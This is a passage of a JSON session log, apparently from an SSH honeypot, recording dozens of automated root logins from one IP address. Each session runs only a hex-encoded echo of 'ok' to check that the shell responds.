  "started_at": "2026-08-23T09:49:35.995096+00:00",
  "ended_at": "2026-08-23T09:49:36.995409+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "058a0129-d1ce-46a4-8a8f-25d00ee606ce",
  "name": "plucky-daring-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47120,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:49:31.329603+00:00",
  "ended_at": "2026-08-23T09:49:35.373696+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8722f2e9-ce62-41ee-ae98-50f83e5ecb67",
  "name": "russet-ginger-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47114,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:49:28.784123+00:00",
  "ended_at": "2026-08-23T09:49:30.592010+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "03e5d6a5-2769-4a63-9061-4a2b9a2c1aba",
  "name": "somber-woven-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60526,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:49:26.837065+00:00",
  "ended_at": "2026-08-23T09:49:28.169051+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3d74a72b-7f1a-4a3e-9685-1172db49e9f7",
  "name": "tidal-spirited-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60510,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:49:24.999164+00:00",
  "ended_at": "2026-08-23T09:49:26.012459+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "60e6a31b-51c8-496e-92e7-d0d24dfb5d3a",
  "name": "prickly-quartz-badger",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60496,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:49:22.512847+00:00",
  "ended_at": "2026-08-23T09:49:24.202138+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9633a684-8749-4400-9d45-2786fa936df7",
  "name": "wiry-cosmic-dunlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60494,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:49:20.251073+00:00",
  "ended_at": "2026-08-23T09:49:21.681277+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "50737b2f-1073-4c33-a62d-0250ee7840d7",
  "name": "distant-sullen-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37378,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:49:18.188225+00:00",
  "ended_at": "2026-08-23T09:49:19.631002+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "66cd7f72-b2c4-4d58-9dce-bac7c1436054",
  "name": "seaward-vaulted-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37364,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:49:15.490111+00:00",
  "ended_at": "2026-08-23T09:49:17.460001+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ccf4d1e9-4c2e-4ae3-8e8b-6283a5a0ffb2",
  "name": "eager-breezy-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37354,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:49:12.619066+00:00",
  "ended_at": "2026-08-23T09:49:14.671001+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ce60cb99-a2ec-4e6f-82ef-751967855386",
  "name": "rugged-tidal-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37338,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:49:09.736168+00:00",
  "ended_at": "2026-08-23T09:49:11.870446+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "807ddc59-24b1-43b4-8129-3062dd278682",
  "name": "crimson-mighty-badger",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33458,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:49:04.242429+00:00",
  "ended_at": "2026-08-23T09:49:09.055002+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d4e71a94-e3c3-45b6-aee8-0fe5b7b61130",
  "name": "breezy-crisp-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33454,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:49:02.095122+00:00",
  "ended_at": "2026-08-23T09:49:03.540506+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c00f17d1-c3c5-495a-a09d-d8be602767ea",
  "name": "stoic-pleasant-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33444,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:48:59.292186+00:00",
  "ended_at": "2026-08-23T09:49:01.382008+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "297c600c-585f-4f09-9457-1bde43c552ce",
  "name": "prairie-stoic-gannet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55520,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:48:56.952447+00:00",
  "ended_at": "2026-08-23T09:48:58.590429+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "07005f35-4cc3-4b33-a4c8-cbd622f1073c",
  "name": "bitter-genial-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55510,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:48:55.212177+00:00",
  "ended_at": "2026-08-23T09:48:56.145553+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "19bfdeb3-4d3b-4f50-a8a2-aef917b466b8",
  "name": "crisp-cosmic-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55506,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:48:52.574719+00:00",
  "ended_at": "2026-08-23T09:48:54.440049+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9ce9001b-f3c7-490e-9cbb-efa09401f123",
  "name": "amber-hardy-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55490,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:48:50.223925+00:00",
  "ended_at": "2026-08-23T09:48:51.907964+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b967803e-d38a-41da-b8a5-a1d3c03301c1",
  "name": "lucid-hazy-tinamou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59714,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:48:48.341876+00:00",
  "ended_at": "2026-08-23T09:48:49.367320+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d69a901f-7e89-43b9-af0c-274854ffea6f",
  "name": "electric-amiable-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59708,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:48:45.990138+00:00",
  "ended_at": "2026-08-23T09:48:47.612004+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2970aa85-7a6d-48fe-8ad1-c71ebd74588d",
  "name": "courtly-quiet-oriole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59698,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:48:43.127423+00:00",
  "ended_at": "2026-08-23T09:48:45.161023+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a21f9b4b-8528-4034-9465-cdda1ad18e58",
  "name": "courtly-diligent-bowerbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59684,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:48:41.286509+00:00",
  "ended_at": "2026-08-23T09:48:42.306071+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c8bd91e4-6575-479e-b417-4b55ddb58af7",
  "name": "vigilant-hardy-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57972,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:48:38.559551+00:00",
  "ended_at": "2026-08-23T09:48:40.478739+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "99a90e5d-9749-4d26-9473-f0dc09574796",
  "name": "primal-cunning-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57968,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:48:35.644080+00:00",
  "ended_at": "2026-08-23T09:48:37.721072+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c0cb493e-798c-4374-8223-fcb6e472330a",
  "name": "prairie-fringed-goldfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57960,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:48:33.817545+00:00",
  "ended_at": "2026-08-23T09:48:34.852050+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "223265dd-149c-40c2-8a92-89e27d23d4d1",
  "name": "muted-icy-cuckoo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57948,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:48:31.581937+00:00",
  "ended_at": "2026-08-23T09:48:33.089359+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f77e12b8-76ee-45cb-af92-41b20e3979be",
  "name": "sturdy-frugal-dunlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57936,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:48:29.316327+00:00",
  "ended_at": "2026-08-23T09:48:30.745267+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "03bd123c-1747-4053-9a74-36437dc8d0b2",
  "name": "rapid-tidal-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49598,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:48:26.977150+00:00",
  "ended_at": "2026-08-23T09:48:28.625001+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "56c7d446-750e-49d4-ab25-3f82d74d1ae5",
  "name": "crystal-gritty-cardinal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49588,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:48:24.157258+00:00",
  "ended_at": "2026-08-23T09:48:26.212508+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d9a31714-bbf4-4d03-a7ae-ad33c1014565",
  "name": "solar-ashen-mink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49586,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:48:21.958367+00:00",
  "ended_at": "2026-08-23T09:48:23.488000+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a32e76c7-16cb-4662-ab5a-134c22e15b52",
  "name": "shifting-smooth-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49572,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:48:19.498603+00:00",
  "ended_at": "2026-08-23T09:48:21.262999+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c52aff12-8250-42e6-8f2e-b02d0b70af6d",
  "name": "brave-austere-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49400,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:48:17.708794+00:00",
  "ended_at": "2026-08-23T09:48:18.691145+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c0293880-a234-417c-ac90-17503d22ee43",
  "name": "feathered-serene-manatee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49388,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:48:14.798058+00:00",
  "ended_at": "2026-08-23T09:48:16.951010+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ca350540-3176-453d-98af-57ddafe73c20",
  "name": "plucky-silent-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49386,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:48:12.891073+00:00",
  "ended_at": "2026-08-23T09:48:13.986173+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a86a718b-8b75-4b13-9745-8a433503bd46",
  "name": "polar-gleaming-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49370,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:48:08.931144+00:00",
  "ended_at": "2026-08-23T09:48:12.148009+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bb9e3d57-c225-4c7b-9d0e-9f3eaea3497e",
  "name": "tender-dutiful-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43594,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:48:07.088076+00:00",
  "ended_at": "2026-08-23T09:48:08.255001+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "60e836e9-c7a4-4b88-a3fb-205d49427843",
  "name": "murky-slender-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43580,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:48:04.773451+00:00",
  "ended_at": "2026-08-23T09:48:06.251000+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "48361fe0-cdfa-4c0a-8392-bfa088f2b5ae",
  "name": "curious-pristine-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43566,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:48:02.552148+00:00",
  "ended_at": "2026-08-23T09:48:04.001163+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6f3373d4-5a54-4207-9359-4ced1a206264",
  "name": "arctic-alpine-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43560,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:48:00.319086+00:00",
  "ended_at": "2026-08-23T09:48:01.821898+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e4332d54-6412-414a-b5af-56784c5308ef",
  "name": "jagged-bold-turnstone",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55046,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:47:58.598429+00:00",
  "ended_at": "2026-08-23T09:47:59.653039+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ffa6020f-4b9d-4725-80a6-9116cacbd245",
  "name": "boreal-stoic-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55038,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:47:55.785078+00:00",
  "ended_at": "2026-08-23T09:47:57.842005+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1c4dda28-6dc6-4405-b145-ab5959bc21e2",
  "name": "dewy-snowy-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55032,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:47:53.238189+00:00",
  "ended_at": "2026-08-23T09:47:54.990996+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1512dbd0-717e-4241-b32f-0538ad95f7e6",
  "name": "graceful-fabled-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55022,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:47:51.413075+00:00",
  "ended_at": "2026-08-23T09:47:52.488045+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "21ece257-51df-4e4a-873b-5a5a9e95f6bb",
  "name": "hidden-curious-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54020,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:47:48.471653+00:00",
  "ended_at": "2026-08-23T09:47:50.739364+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2b900567-8e12-4652-ad24-977026b065ad",
  "name": "murky-crystal-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54010,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:47:46.342065+00:00",
  "ended_at": "2026-08-23T09:47:47.777999+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7eefdea7-edfc-4b93-bd1e-89cfdc71d910",
  "name": "vigilant-idle-mole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54006,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:47:44.076086+00:00",
  "ended_at": "2026-08-23T09:47:45.528055+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "08960783-183b-4228-b396-438ffb4abb90",
  "name": "obsidian-vaulted-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53998,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:47:42.027617+00:00",
  "ended_at": "2026-08-23T09:47:43.290997+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "36bab6de-a9ee-4941-9bd5-7d944c749bea",
  "name": "coral-steady-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53984,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:47:40.347403+00:00",
  "ended_at": "2026-08-23T09:47:41.362008+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "009dee23-6ce6-4778-bc24-820102fb4112",
  "name": "forlorn-twilight-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35518,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:47:38.822626+00:00",
  "ended_at": "2026-08-23T09:47:39.718013+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8ad868e0-6746-4ab1-b1a8-13ca7c5cb777",
  "name": "ashen-prickly-kudu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 35516,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:47:36.502273+00:00",
